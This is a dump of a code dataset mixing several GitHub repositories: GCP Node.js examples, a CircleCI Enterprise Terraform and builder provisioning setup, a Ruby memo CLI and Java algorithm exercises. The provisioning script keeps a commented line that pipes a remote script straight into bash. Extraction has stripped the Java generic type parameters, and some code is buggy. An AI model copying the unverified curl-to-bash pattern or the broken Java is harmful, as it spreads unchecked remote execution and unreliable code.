\"JavaScript\"\n]"},"num_files":{"kind":"number","value":8,"string":"8"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"chris1214/template-teste"},"revision_id":{"kind":"string","value":"28e7b443ded7c3235982e814c57976f50c384204"},"snapshot_id":{"kind":"string","value":"716ad4580e54e2f0109051a7287084158f5ab5b9"}}},{"rowIdx":147,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"thihenos/gcp-node-examples/node-storage/README.md\n# image-watermark API\r\n\r\nestrutura de pastas:\r\n```bash\r\n├── server # Configuração do server\r\n│ ├── config \t\t\t\t # Configs - Redis | Datastore | Promisses Handler\r\n│ ├── functions \t\t\t # \"Controllers\" para conexão com Redis e Datastore\r\n│ ├── secure \t\t\t\t # Variáveis de ambiente e JSON de autenteicação\r\n│ └── services \t\t\t # Chamadas de validações\r\n├── bitbucket-pipelines.yml # Configuração do Pipeline\r\n├── package.json # Dependências\r\n├── app.yaml # Configuração App Engine\r\n├── index.js \t\t\t\t # Configurações iniciais do serviço\r\n└── README.md # Esse Arquivo\r\n```\r\n\r\n# Onde estou?\r\nProjeto : autoavaliar-apps\r\nGCloud Function : imageWatermark\r\n\r\n# Comandos principais:\r\n - `npm start` : inicia a aplicação apontando para a produção\r\n - `npm test` : inicia a aplicação em modo teste\r\n\r\n## Como funciona a API ?\r\n### 1 - Usando a API\r\nInicialmente, a **HG-API** irá enviar uma requisição POST para o do Cloud Function\r\n\r\n> POST https://us-central1-autoavaliar-apps.cloudfunctions.net/imageWatermark\r\n\r\n Nesta requisição, deverá ser enviado os seguintes dados\r\n```javascript\r\n// Exemplo de JSON enviado na requisição\r\n\"message\" : {\r\n \"attributes\" : {\r\n \"method\" : 'storage', //base64 | storage\r\n \"bucketDownload\" : 'photo-ecossistema', //Nome do intervalo\r\n \"bucketUpload\" : 'photo-ecossistema', //Nome do intervalo\r\n \"country\" : 'ar', // br | qualquer pais já será considerado AutoAction\r\n \"token\" : //token enviado pela HG\r\n },\r\n \"data\" : ''\r\n}\r\n```\r\n### 2 - A lógica\r\n- A aplicação irá converter o base64 do atributo DATA da requisição, que consistirá nos endereços das imagens do storage\r\n- A aplicação irá validar a autenticidade do **TOKEN** da HG e irá validar se é correspondente com o SECRET que estará armazenado na variável de ambiente\r\n- Após validar, a API executa a seguinte operação me *promises*\r\n - Download do arquivo do bucket\r\n - Resize da imagem para 800X600\r\n - Aplicação da Marca D'agua\r\n - Upload no storage\r\n - Remoção dos arquivos na pasta temp e download\r\n\r\n```javascript\r\n// Em caso positivo\r\n res.status(200).send({message : 'Fotos tratadas com sucesso!'});\r\n// Em caso positivo de autenticação porem sem imagens\r\n res.status(204).send({message : 'Não há arquivo na requisição!'});\r\n// Em caso negativo\r\n response.status(403).send({message : 'Chamada não permitida'});\r\n```\r\n# To Do\r\n\r\n- Processamento em batch de base64\r\n\r\n## Dicas:\r\n É extremamente importante que o nodemon esteja instalado na máquina de quem for rodar a aplicação\r\n\r\n Caso seja necessário a reconfiguração do Redis, será necessário editar os dados nas variáveis de ambiente, que estarão dentro do do path `server/secure/.env`\r\n\r\n #### Podemos também utilizar!\r\n * Utilizar a lib [jimp-watermak](https://www.npmjs.com/package/jimp-watermark) para carimbar o logo nas imagens.\r\n * Utilizar a lib [image-watermak](https://github.com/luthraG/image-watermark) criar marca d'agua.\r\n * Utilizar a lib para [caption](https://stackoverflow.com/questions/50465099/watermark-in-image-using-nodejs)\r\n\r\n# Pipeline\r\nA pipeline vai efetuar o deploy da API no projeto autoavaliar-apps como um Cloud Function com o nome de imageWatermark\r\n/node-appengine/README.md\n# Hold - API\r\n\r\ntopologia:\r\n```mermaid\r\ngraph LR\r\n U[Luke] -->|\"[POST] /api/setQueue\"| Z[Express]\r\n\t Z --> View{token?}\r\n View --> |Não| S[401 - Unauthorized]\r\n\t View -->|Sim| C1{Config no cache ?}\r\n C1-->|Não|M1[Datastore]\r\n C1-->|Sim|D1{Entidade configurada ?}\r\n M1 -->DT[Setar dados no Redis]\r\n DT-->D1\r\n D1 --> |Não|Default[5 Min]\r\n D1 --> |Sim|D2[Tempo da entidade]\r\n end\r\n```\r\n\r\n\r\n![picture](graph.png)\r\n\r\nestrutura de pastas:\r\n```bash\r\n├── server # Configuração do server\r\n│ ├── config \t\t\t\t # Configs - Redis | Datastore | Promisses Handler\r\n│ ├── functions \t\t\t # \"Controllers\" para conexão com Redis e Datastore\r\n│ ├── secure \t\t\t\t # Variáveis de ambiente e JSON de autenteicação\r\n│ ├── services \t\t\t # Chamadas de validações\r\n│ └── routes.js # Roteamento REST\r\n├── bitbucket-pipelines.yml # Configuração do Pipeline\r\n├── package.json # Dependências\r\n├── app.yaml # Configuração App Engine\r\n├── server.js \t\t\t\t # Configurações iniciais do serviço\r\n└── README.md # Esse Arquivo \r\n```\r\n# Comandos principais:\r\n - `npm start` : inicia a aplicação apontando para a produção\r\n - `npm run dev` : inicia a aplicação apontando para a produção, rodando node monitor para desenvolvimento\r\n \r\n## Como funciona a API ?\r\n### 1 - Configurações\r\nA intenção do desenvolvimento da *API* é para controlar a quantidade de requisições de integrações para não acarretar problemas de chamadas excessivas. A *API* trabalhará como um semáforo controlando as requisições por quantidade de requisições permitidas e o tempo de espera para a próxima requisição.\r\nEssas configurações serão armazenadas no **Datatore** do projeto **sa-hg-db**, onde poderemos contar com as seguintes informações:\r\n```javascript\r\n// Entidade holdConfig\r\n{\r\n\"entity_id\" : \"10\", //Id da entidade\r\n\"instance_id\": \"23\", //Id da instância\r\n\"max_intersection\": \"10\", //Maximo de chamadas permitidas por essa entidade\r\n\"root\" : \"LUKE-ESTOQUE\", //Nome do ROOT que enviariá a chamada\r\n\"ttl\" : \"5\", //Tempo de vida na fila do REDIS em minutos\r\n\"ttr\": \"5\"// Assim que chegar no seu limite de max_intersection, esse será o tempo que a proxima chamada deverá respeitar em minutos\r\n}\r\n```\r\n### 2 - Usando a API\r\nInicialmente, o **LUKE** irá enviar uma requisição POST para o endereço \r\n\r\n> /api/setQueue\r\n\r\n Nesta requisição, deverá ser enviado os seguintes dados \r\n```javascript\r\n// Exemplo de JSON enviado na requisição\r\n\"headers\": {\r\n\"Content-Type\": \"application/json\",\r\n\"token\": \"\"\r\n},\r\n\"body\": {\r\n\t\"root\" : \"ENTIDADE\" //Será definido e configurado no datastore\r\n}\r\n```\r\n### 3 - A lógica\r\n- A aplicação irá validar a autenticidade do **TOKEN** \r\n- Iremos validar se as configurações já tenham sido carregadas do Datastore para o Redis\r\n\t- Se não foi carregado, será carregado no Redis com validade de um dia\r\n\t- Caso tenha sido carregado posteriormente, prosseguiremos para o próximo passo\r\n- Validaremos se o **ROOT** que está invocando a *API* está configurado , em caso positivo\r\n\t- Iremos incrementar mais uma chamada no Redis, caso não tenha chego no limite definido na sessão **1 - Configurações** \r\n\t- Retornaremos o status conforme o step anterior definir, com as seguintes informações\r\n\t- Lembrando que o `ttr` será retornado em minutos\r\n```javascript\r\n// Em caso positivo\r\n response.status(200).send({message : 'Chamada permitida!', grant : true});\r\n// Em caso negativo\r\n response.status(403).send({message : 'Chamada não permitida', ttr: 10 , grant : false});\r\n```\r\n - Validaremos se o **ROOT** que está invocando a *API* está configurado , em caso negativo, enviaremos a requisição para uma fila **DEFAULT** que terá como padrão o máximo de apenas 5 chamadas.\r\n\t- Iremos incrementar mais uma chamada no **Redis** na fila **DEFAULT**, caso não tenha chego no limite de 5 chamadas\r\n\t- Retornaremos o status conforme o step anterior definir, com as seguintes informações\r\n\t- Lembrando que o `ttr` será retornado em minutos\r\n\r\n```javascript\r\n// Em caso positivo\r\n response.status(200).send({message : 'Chamada permitida!', grant : true});\r\n// Em caso negativo\r\n response.status(403).send({message : 'Chamada não permitida', ttr: 5, grant : false});\r\n```\r\n\r\n## Dicas:\r\n É extremamente importante que o nodemon esteja instalado na máquina de quem for rodar a aplicação\r\n \r\n Caso seja necessário a reconfiguração do Redis, será necessário editar os dados nas variáveis de ambiente, que estarão dentro do do path `server/secure/.env`\r\n\r\n# Pipeline\r\nA pipeline vai efetuar o deploy da API no projeto sa-hg-sys no modo standard \r\n/node-function/index.js\n/**\r\n * Autor : @thihenos\r\n * Script de testes para Google Cloud Function\r\n *\r\n * Descrição: \r\n * Parametros:\r\n - teste: texto simples para ser exibido no retorno\r\n */\r\n\r\nexports.examplo = (req, res) => {\r\n res.status(200).send(req.body.message);\r\n};\r\n/node-storage/download.js\nconst {Storage} = require('@google-cloud/storage');\nconst storage = new Storage({keyFilename: \"./secret/keyFile.json\"});\n\nconsole.log(`-------------------- Download de imagem ------------------`);\n\n return new Promise((resolve, reject) => {\n\n const myBucket = storage.bucket(`teste-nerds-gcp`);\n const file = myBucket.file('sups.jpeg');\n\n //Download do arquivo do bucket para a pasta temporária\n file.download({destination: `./src/sups.jpeg`}, function(err) {\n if(err){\n console.log(err);\n reject(err);\n }\n });\n\n }).catch((erro)=>{\n console.log(erro);\n });\n/node-storage/update.js\nconst {Storage} = require('@google-cloud/storage');\r\nconst storage = new Storage({keyFilename: \"./secret/keyFile.json\"});\r\n\r\n\r\n async function uploadFile() {\r\n await storage.bucket('teste-nerds-gcp').upload(`./src/bat.jpeg`, {\r\n destination: `bat.jpeg`,\r\n public : true\r\n });\r\n console.log(`-------------------- Upload de imagem no storage ------------------`);\r\n }\r\n\r\n //Função de upload e remoção dos arquivos temporários\r\n uploadFile().then(()=>{\r\n \r\n }).then(()=>{\r\n console.log('Upload Finalizado!')\r\n }).catch(console.error);\r\n\r\n"},"directory_id":{"kind":"string","value":"15294600563677b30a51fa3b2fc04e3ccd1d13b2"},"languages":{"kind":"list like","value":["Markdown","JavaScript"],"string":"[\n \"Markdown\",\n \"JavaScript\"\n]"},"num_files":{"kind":"number","value":5,"string":"5"},"repo_language":{"kind":"string","value":"Markdown"},"repo_name":{"kind":"string","value":"thihenos/gcp-node-examples"},"revision_id":{"kind":"string","value":"cfe86efd318007197e27186c63d908a373497d64"},"snapshot_id":{"kind":"string","value":"d8444c0e4930c1067a3c1dea04e6029b1cb2f1e3"}}},{"rowIdx":148,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":".PHONY: init ansible-setup\n\ninit:\n\t@if [ -f terraform.tfvars ]; then mv terraform.tfvars terraform.tfvars-`date \"+%Y-%m-%d-%H:%M:%S\"`; fi\n\t@rsync -aq terraform.tfvars.template terraform.tfvars\n\nansible-setup:\n\t@mkdir -p .ansible\n\t@ansible-galaxy install -fr requirements.yml\n#!/bin/bash\n\nset -exu\n\n#apt-cache policy | grep circle || curl https://s3.amazonaws.com/circleci-enterprise/provision-builder.sh | bash\n#curl https://s3.amazonaws.com/circleci-enterprise/init-builder-0.2.sh | \\\n# SERVICES_PRIVATE_IP='${services_private_ip}' \\\n# CIRCLE_SECRET_PASSPHRASE='${circle_secret_passphrase}' \\\n# bash\n\nBUILDER_IMAGE=\"circleci/build-image:ubuntu-14.04-XXL-1167-271bbe4\"\n\nexport http_proxy=\"${http_proxy}\"\nexport https_proxy=\"${https_proxy}\"\nexport no_proxy=\"${no_proxy}\"\n\necho \"-------------------------------------------\"\necho \" Performing System Updates\"\necho \"-------------------------------------------\"\napt-get update && apt-get -y upgrade\n\necho \"--------------------------------------\"\necho \" Installing Docker\"\necho \"--------------------------------------\"\napt-get install -y linux-image-extra-$(uname -r) linux-image-extra-virtual\napt-get install -y apt-transport-https ca-certificates curl\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\"\napt-get update\napt-get -y install docker-ce=17.03.2~ce-0~ubuntu-trusty cgmanager\n\nsudo echo 'export http_proxy=\"${http_proxy}\"' >> /etc/default/docker\nsudo echo 'export https_proxy=\"${https_proxy}\"' >> /etc/default/docker\nsudo echo 'export no_proxy=\"${no_proxy}\"' >> /etc/default/docker\nsudo service docker restart\n\necho \"-------------------------------------------\"\necho \" Pulling Server Builder Image\"\necho \"-------------------------------------------\"\nsudo docker pull $BUILDER_IMAGE\n\n# Make a new docker network\ndocker network create -d bridge -o \"com.docker.network.bridge.name\"=\"circle0\" circle-bridge\n\n# Block traffic from build containers to the EC2 metadata API\niptables -I FORWARD -d 169.254.169.254 -p tcp -i docker0 -j DROP\n\n# Block traffic from build containers to non-whitelisted ports on the services box\niptables -I FORWARD -d ${services_private_ip} -p tcp -i docker0 -m multiport ! --dports 80,443 -j DROP\n\necho \"-------------------------------------------\"\necho \" Starting Builder\"\necho \"-------------------------------------------\"\nsudo docker run -d -p 443:443 -v /var/run/docker.sock:/var/run/docker.sock \\\n -e CIRCLE_CONTAINER_IMAGE_URI=\"docker://$BUILDER_IMAGE\" \\\n -e CIRCLE_SECRET_PASSPHRASE='${circle_secret_passphrase}' \\\n -e SERVICES_PRIVATE_IP='${services_private_ip}' \\\n --net circle-bridge \\\n circleci/builder-base:1.1\n# CircleCI Enterprise Setup\n\nThis package allows you to easily orchestrate your CCIE cluster in AWS using Terraform.\n\n# Getting Started\n\n## Pre Reqs\n\n- Terraform\n\n## Installation\n\n### Basic\n\n1. Clone or download this repository\n1. Execute `make init` or save a copy of `terraform.tfvars.template` to `terraform.tfvars`\n1. Fill in the configuration vars in `terraform.tfvars` for your cluster. see [Configuration](#configuration)\n1. Run `terraform apply`\n\n### Advanced: Ansible provisioning\n\nAdvanced install involves using Ansible to fully configure your services box without having to configure it via the user interface. This installation method requires having Ansible locally installed on the machine you will be running Terraform on.\n\nTo enable Ansible provisioning, set `enable_ansible_provisioning = true` in your tfvars file. Then add a dictionary to your tfvars file called `ansible_extra_vars` containing the extra variables that will be passed to the Ansible playbook in this project.\n\nExample:\n\n```\nenable_ansible_provisioning = true\nansible_extra_vars = {\n license_file_path = \"/path/to/my/CircleCILicense.rli\"\n ghe_type = \"github_type_enterprise\"\n ghe_domain = \"ghe.example.com\"\n github_client_id = \"insertclientidfromghe\"\n github_client_secret = \"insertclientsecretfromghe\"\n aws_access_key_id = \"insertawskey\"\n aws_access_secret_key = \"insertawssecretkey\"\n}\n```\n\n## Configuration\n\nTo configure the cluster that terraform will create, simply fill out the terraform.tfvars file. The following are all required vars:\n\n | Var | Description |\n | -------- | ----------- |\n | aws_access_key | Access key used to create instances |\n | aws_secret_key | Secret key used to create instances |\n | aws_region | Region where instances get created |\n | aws_vpc_id | The VPC ID where the instances should reside |\n | aws_subnet_id | The subnet-id to be used for the instance |\n | aws_ssh_key_name | The SSH key to be used for the instances|\n | circle_secret_passphrase | key for secrets used by CircleCI machines |\n\nOptional vars:\n\n | Var | Description | Default |\n | -------- | ----------- | ------- |\n | services_instance_type | instance type for the centralized services box. We recommend a c4 instance | c4.2xlarge |\n | builder_instance_type | instance type for the builder machines. We recommend a r3 instance | r3.2xlarge |\n | max_builders_count | max number of builders | 2 |\n | nomad_client_instance_type | instance type for the nomad clients. We recommend a XYZ instance | m4.xlarge |\n | max_clients_count | max number of nomad clients | 2 |\n | prefix | prefix for resource names | circleci |\n | enable_nomad | provisions a nomad cluster for CCIE v2 | 0 |\n | enable_ansible_provisioner | enable provisioning of Services box via Ansible | 0 |\n | enable_route | enable creating a Route53 route for the Services box | 0 |\n | route_name | Route name to configure for Services box | \"\" |\n | route_zone_id | Zone to configure route in | \"\" |\n#! /usr/bin/env bash\n\nset -e\nset -o pipefail\n\n\nbrew_install_terraform() {\n brew -v &> /dev/null || return 1\n echo \"It looks like you have homebrew installed. Would you like to use it to install Terraform?\" >&2\n echo \"1: Yes, install Terraform on the system using homebrew.\" >&2\n echo \"2: No, use local Terraform without installing it on the system.\" >&2\n echo \"3: Exit. I'll install it on my own.\" >&2\n read selection\n case \"$selection\" in\n 1) brew install terraform;;\n 2) return 1;;\n 3) exit 1;;\n *) echo \"Please enter \\\"1\\\", \\\"2\\\", or \\\"3\\\" then hit ENTER\" >&2; brew_install_terraform \"$@\";;\n esac\n}\n\ninstall_local_terraform() {\n platform=\"$1\"\n tempfile=$(mktemp)\n curl -o $tempfile \"https://releases.hashicorp.com/terraform/0.6.14/terraform_0.6.14_${platform}_amd64.zip\"\n mkdir -p .dependencies\n unzip $tempfile -d .dependencies\n}\n\ninstall_terraform() {\n if [[ $OSTYPE =~ darwin.* ]]; then\n # Special-case terraform uninstalled but homebrew installed, because that's most customers\n [[ -z $local ]] && brew_install_terraform || install_local_terraform darwin\n elif [[ $OSTYPE = linux-gnu ]]; then\n install_local_terraform linux\n else\n echo \"Unsupported OSTYPE: $OSTYPE\" >&2\n exit 1\n fi\n}\n\nterraform_wrapper() {\n version=$(terraform -v 2>/dev/null | awk '{print $2}') || true\n if [[ -x .dependencies/terraform ]]; then\n echo \"Using local Terraform\" >&2\n .dependencies/terraform \"$@\"\n elif [[ -z $version ]]; then\n install_terraform\n terraform_wrapper \"$@\"\n else\n echo \"Using system Terraform\" >&2\n terraform \"$@\"\n fi\n}\n\nterraform_wrapper \"$@\"\n"},"directory_id":{"kind":"string","value":"5ec1082e4459acbc8811fc1f6cbade1cce9722d1"},"languages":{"kind":"list like","value":["Markdown","Makefile","Shell"],"string":"[\n \"Markdown\",\n \"Makefile\",\n \"Shell\"\n]"},"num_files":{"kind":"number","value":4,"string":"4"},"repo_language":{"kind":"string","value":"Makefile"},"repo_name":{"kind":"string","value":"indiegogo/enterprise-setup"},"revision_id":{"kind":"string","value":"ba02d52b27504785f8323dfe4451fe66af77d24d"},"snapshot_id":{"kind":"string","value":"df04d025802ce13a1e6ddb701e93cfc3c0807a99"}}},{"rowIdx":149,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"kazukousen/dadan/lib/dadan/time.rb\nclass Time\n def yesterday\n self - 60*60*24\n end\nend\n/lib/dadan/memo.rb\nrequire 'zlib'\nrequire 'fileutils'\n\nmodule Dadan\n class Memo\n\n module WorkSpace\n Dadan = \"#{Dir.home}/.dadan\"\n Objects = \"#{Dadan}/objects\"\n Path = \"#{Dadan}/worker.md\"\n end\n\n def initialize(editor)\n @editor = editor\n if File.exists?(WorkSpace::Dadan)\n FileUtils.rm(WorkSpace::Path) if File.exists?(WorkSpace::Path)\n else\n FileUtils.mkdir_p(WorkSpace::Dadan)\n end\n end\n\n attr_reader :editor\n\n def edit\n system(\"#{@editor} #{WorkSpace::Path}\")\n end\n\n def save\n time = Time.now.strftime(\"%Y%m%d%H%M%S\")\n packed_body = Zlib::Deflate.deflate(File.read(WorkSpace::Path))\n FileUtils.mkdir_p(WorkSpace::Objects) unless File.exists?(WorkSpace::Objects)\n\n open(\"#{WorkSpace::Objects}/#{time}\", 'w') do |file|\n file.write packed_body\n end\n\n time\n end\n\n def self.open_dayfile(day)\n statements = \"\"\n Dir.glob(\"#{Dir.home}/.dadan/objects/#{day}*\").each do |file|\n statements << self.open_object(file[-14..-1])\n statements << \"---\\n\"\n end\n puts statements\n end\n\n def self.open_file(time)\n puts self.open_object(time)\n end\n\n private\n def self.open_object(time)\n object_path = \"#{WorkSpace::Objects}/#{time}\"\n raise 'Invalid File at this time' unless File.exists?(object_path)\n Zlib::Inflate.inflate(File.read(object_path))\n end\n end\nend\n/lib/dadan/cli.rb\n# coding: utf-8\nrequire 'dadan'\nrequire 'thor'\n\nmodule Dadan\n class CLI < Thor\n module Worker\n Editor = 'vi'\n Path = \"#{Dir.home}/.dadan/worker.md\"\n end\n default_command :first_run\n\n desc 'hello NAME', 'say hello to NAME'\n def hello(name)\n puts 'hello ' << name\n end\n\n desc 'run', 'default new file'\n def first_run\n memo = Memo.new(Worker::Editor)\n memo.edit\n time = memo.save\n puts \"Memorized at #{time}\"\n end\n\n desc 'worker', 'workspace'\n def worker\n dir = \"#{Dir.home}/.dadan/\"\n FileUtils.mkdir_p(dir) unless File.exists?(dir)\n\n worker_path = \"#{dir}/worker.md\"\n\n FileUtils.rm(worker_path) if File.exists?(worker_path)\n end\n\n desc 'edior', 'vim output'\n def edit\n system(\"#{Worker::Editor} #{Worker::Path}\")\n end\n\n desc 'save', 'file save'\n def save\n Memo.save_file(Worker::Path)\n end\n\n desc \"today's file\", \"today's file open\"\n def today\n day = Time.now.strftime(\"%Y%m%d\")\n Memo.open_dayfile(day)\n end\n\n desc \"yesterday's file\", \"yesterday's file open\"\n def yesterday\n day = Time.now.yesterday.strftime(\"%Y%m%d\")\n Memo.open_dayfile(day)\n end\n\n desc \"day's file\", \"day's file open\"\n def day(daytime)\n if daytime.length == 4\n year = Time.now.strftime(\"%Y\")\n daytime = \"#{year}#{daytime}\"\n end\n Memo.open_dayfile(daytime)\n end\n end\nend\n/lib/dadan.rb\nrequire 'dadan/version'\nrequire 'dadan/memo'\nrequire 'dadan/time'\nrequire 'dadan/cli'\nmodule Dadan\n # Your code goes here...\nend\n/exe/dadan\n#!/usr/bin/env ruby\n\nrequire \"dadan\"\n\nDadan::CLI.start(ARGV)\n"},"directory_id":{"kind":"string","value":"d5857617f682be8beb9d9e42f001fa6b7bc4b667"},"languages":{"kind":"list like","value":["Ruby"],"string":"[\n \"Ruby\"\n]"},"num_files":{"kind":"number","value":5,"string":"5"},"repo_language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"kazukousen/dadan"},"revision_id":{"kind":"string","value":"2fad9d566895fffcc44fcbf152c458477ebb8ee5"},"snapshot_id":{"kind":"string","value":"2edaaf659d93fb438545c6ed6e80c77c106dd4f8"}}},{"rowIdx":150,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"qq98982/algorithm/src/main/java/com/home/henry/MergeTwoSortedArrays.java\npackage com.home.henry;\n\npublic class MergeTwoSortedArrays {\n public int[] merge(int[] first, int[] second) {\n if (first.length < 1 && second.length < 1) {\n return null;\n }\n int m = first.length - 1;\n int n = second.length - 1;\n int[] res = new int[m + n + 2];\n for (int i = res.length - 1; i >= 0; i--) {\n if (n >= 0 && m >= 0) {\n if (first[m] > second[n]) {\n res[i] = first[m--];\n } else {\n res[i] = second[n--];\n }\n } else {\n if (m < 0) {\n res[i] = second[n--];\n }\n if (n < 0) {\n res[i] = first[m--];\n }\n }\n }\n return res;\n }\n\n public static void main(String[] args) {\n int[] a = new int[] { 1, 3, 5, 6, 9 };\n int[] b = new int[] { 2, 4, 7, 8 };\n MergeTwoSortedArrays m = new MergeTwoSortedArrays();\n int[] c = m.merge(a, b);\n for (int aC : c) {\n System.out.print(aC + \" \");\n }\n }\n}\n/src/main/java/com/home/henry/ReverseLinkedList.java\npackage com.home.henry;\n\n/**\n * Reverse a linked list\n */\npublic class ReverseLinkedList {\n\n ListNode reverse(ListNode current) {\n if (current == null) {\n return null;\n }\n ListNode prev = null;\n while (current != null) {\n ListNode temp = current.next;\n current.next = prev;\n prev = current;\n current = temp;\n }\n return prev;\n }\n}\n/src/main/java/com/home/henry/FindMaxCountArray.java\npackage com.home.henry;\n\nimport java.util.Arrays;\n\npublic class FindMaxCountArray {\n\n public static int findMax(int[] a, int size) {\n int i, j;\n int max = a[0];\n int count;\n int maxCount = 1;\n for (i = 0; i < size; i++) {\n count = 1;\n for (j = i + 1; j < size; j++) {\n if (a[i] == a[j]) {\n count++;\n }\n if (count > maxCount) {\n max = a[i];\n maxCount = count;\n }\n }\n }\n return max;\n }\n\n public static int findMaxUseSort(int[] a, int size) {\n if (size > a.length) {\n return a[0];\n }\n Arrays.sort(a);\n int count = 1, maxCount = 1, max = a[0];\n for (int i = 1; i < size; i++) {\n if (a[i] == a[i - 1]) {\n count++;\n } else {\n count = 1;\n }\n if (count > maxCount) {\n maxCount = count;\n max = a[i];\n }\n }\n return max;\n }\n\n}\n/src/test/java/com/home/henry/OneAwayTest.java\npackage com.home.henry;\n\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nclass OneAwayTest {\n\n @Test\n void isOneWay() {\n OneAway oneAway = new OneAway();\n Assertions.assertTrue(oneAway.isOneWay(\"pale\", \"ple\"));\n Assertions.assertTrue(oneAway.isOneWay(\"\", \"p\"));\n Assertions.assertTrue(oneAway.isOneWay(\"p\", \"\"));\n Assertions.assertTrue(oneAway.isOneWay(\"pales\", \"pale\"));\n Assertions.assertTrue(oneAway.isOneWay(\"pale\", \"bale\"));\n Assertions.assertFalse(oneAway.isOneWay(\"pale\", \"bake\"));\n Assertions.assertFalse(oneAway.isOneWay(\"teach\", \"teacher\"));\n }\n}/src/main/java/com/home/henry/OneAway.java\npackage com.home.henry;\n\n/**\n * There are three types of edits that can be performed on strings: insert a character,\n * remove a character, or replace a character. Given two strings, write a function to check if they are\n * one edit (or zero edits) away.\n */\npublic class OneAway {\n boolean isOneWay(String source, String target) {\n if (null == source || null == target) {\n return false;\n }\n if (Math.abs(source.length() - target.length()) > 1) {\n return false;\n }\n int i = 0, j = 0;\n int count = 0;\n while (i < source.length() && j < target.length()) {\n if (source.charAt(i) != target.charAt(j)) {\n if (count > 0) {\n return false;\n }\n count++;\n if (source.length() > target.length()) {\n i++;\n }\n if (source.length() < target.length()) {\n j++;\n }\n }\n i++;\n j++;\n }\n return true;\n }\n}\n/src/main/java/com/home/henry/BinaryTreeLevelOrder.java\npackage com.home.henry;\n\nimport java.util.ArrayList;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Queue;\n\nclass TreeNode {\n public TreeNode left;\n public TreeNode right;\n public int value;\n\n TreeNode(int value) {\n this.value = value;\n this.left = this.right = null;\n }\n}\n\n/**\n * BinaryTree Lever Order\n */\npublic class BinaryTreeLevelOrder {\n public List> leverOrder(TreeNode root) {\n List> results = new ArrayList<>();\n if (null == root) {\n return results;\n }\n Queue queue = new LinkedList<>();\n queue.offer(root);\n\n while (!queue.isEmpty()) {\n List current = new ArrayList<>();\n int size = queue.size();\n for (int i = 0; i < size; i++) {\n TreeNode head = queue.poll();\n current.add(head.value);\n if (null != head.left) {\n queue.offer(head.left);\n }\n if (null != head.right) {\n queue.offer(head.right);\n }\n }\n results.add(current);\n }\n return results;\n }\n}\n/src/main/java/com/home/henry/PalindromeLinkedList.java\npackage com.home.henry;\n\n/**\n * Given a singly linked list, determine if it is a palindrome.\n * O(n) time and O(1) space?\n */\nclass PalindromeLinkedList {\n private static class ListNode {\n int val;\n ListNode next;\n ListNode(int x) { val = x; }\n }\n\n public boolean isPalindrome(ListNode head) {\n // count length\n int count = 0;\n\n // Do not change head!!!\n ListNode curr = head;\n while (curr != null) {\n curr = curr.next;\n count++;\n }\n if (count < 2) {\n return true;\n }\n curr = head;\n // reverse last half part, return end part head\n ListNode endHead = reverseEnd(curr, count);\n // iterate, check if it is equal\n return checkPalindrome(head, endHead);\n }\n\n // reverse half end part\n private ListNode reverseEnd(ListNode head, int count) {\n for (int i = 0; i < count / 2; i++) {\n if (head != null) {\n head = head.next;\n }\n }\n return reverse(head);\n }\n\n // reverse a LinkedList\n private ListNode reverse(ListNode head) {\n ListNode prev = null;\n while (head != null) {\n ListNode tmp = head.next;\n head.next = prev;\n prev = head;\n head = tmp;\n }\n return prev;\n }\n\n private boolean checkPalindrome(ListNode head, ListNode endHead) {\n while (head != null && endHead != null) {\n if (head.val != endHead.val) {\n return false;\n }\n head = head.next;\n endHead = endHead.next;\n }\n return true;\n }\n}/src/main/java/com/home/henry/ListNoderemoveDups.java\npackage com.home.henry;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * Write code to remove duplicates from an unsorted linked list.\n */\npublic class ListNoderemoveDups {\n\n ListNode deleteDups(ListNode n) {\n ListNode prev = null;\n Set set = new HashSet<>();\n while (n != null) {\n if (set.contains(n.data)) {\n assert prev != null;\n prev.next = n.next;\n } else {\n set.add(n.data);\n prev = n;\n }\n n = n.next;\n }\n return prev;\n }\n}\n/src/test/java/com/home/henry/BinarySearchSortedArrayTest.java\npackage com.home.henry;\n\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nclass BinarySearchSortedArrayTest {\n\n private static final int[] a = { 1, 3, 5, 7, 9, 11 };\n\n @Test\n void binarySearchTest() {\n Assertions.assertEquals(0, BinarySearchSortedArray.binarySearch(new int[] {1}, 1));\n Assertions.assertEquals(-1, BinarySearchSortedArray.binarySearch(new int[] {}, 0));\n Assertions.assertEquals(2, BinarySearchSortedArray.binarySearch(a, 5));\n Assertions.assertEquals(5, BinarySearchSortedArray.binarySearch(a, 11));\n Assertions.assertEquals(-1, BinarySearchSortedArray.binarySearch(a, 8));\n }\n\n @Test\n void binarySearchRecurive() {\n Assertions.assertEquals(0, BinarySearchSortedArray.binarySearchRecurive(new int[] {1,2}, 0,1,1));\n Assertions.assertEquals(-1, BinarySearchSortedArray.binarySearchRecurive(new int[] {}, 0,0,0));\n Assertions.assertEquals(2, BinarySearchSortedArray.binarySearchRecurive(a,0,a.length-1, 5));\n Assertions.assertEquals(5, BinarySearchSortedArray.binarySearchRecurive(a, 0,a.length-1, 11));\n Assertions.assertEquals(-1, BinarySearchSortedArray.binarySearchRecurive(a, 0,a.length-1, 8));\n }\n}/src/test/java/com/home/henry/ListNodeIsLoopTest.java\npackage com.home.henry;\n\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nclass ListNodeIsLoopTest {\n private ListNode n1;\n private ListNode n2;\n private ListNode n3;\n private ListNode n4;\n private ListNode n5;\n private ListNode n6;\n\n @BeforeEach\n void setUp() {\n n1 = new ListNode(1);\n n2 = new ListNode(2);\n n3 = new ListNode(3);\n n4 = new ListNode(4);\n n5 = new ListNode(5);\n n6 = new ListNode(6);\n }\n\n @Test\n void isLoopList() {\n n1.next = n2;\n Assertions.assertFalse(ListNodeIsLoop.isLoopList(n1));\n n2.next = n1;\n 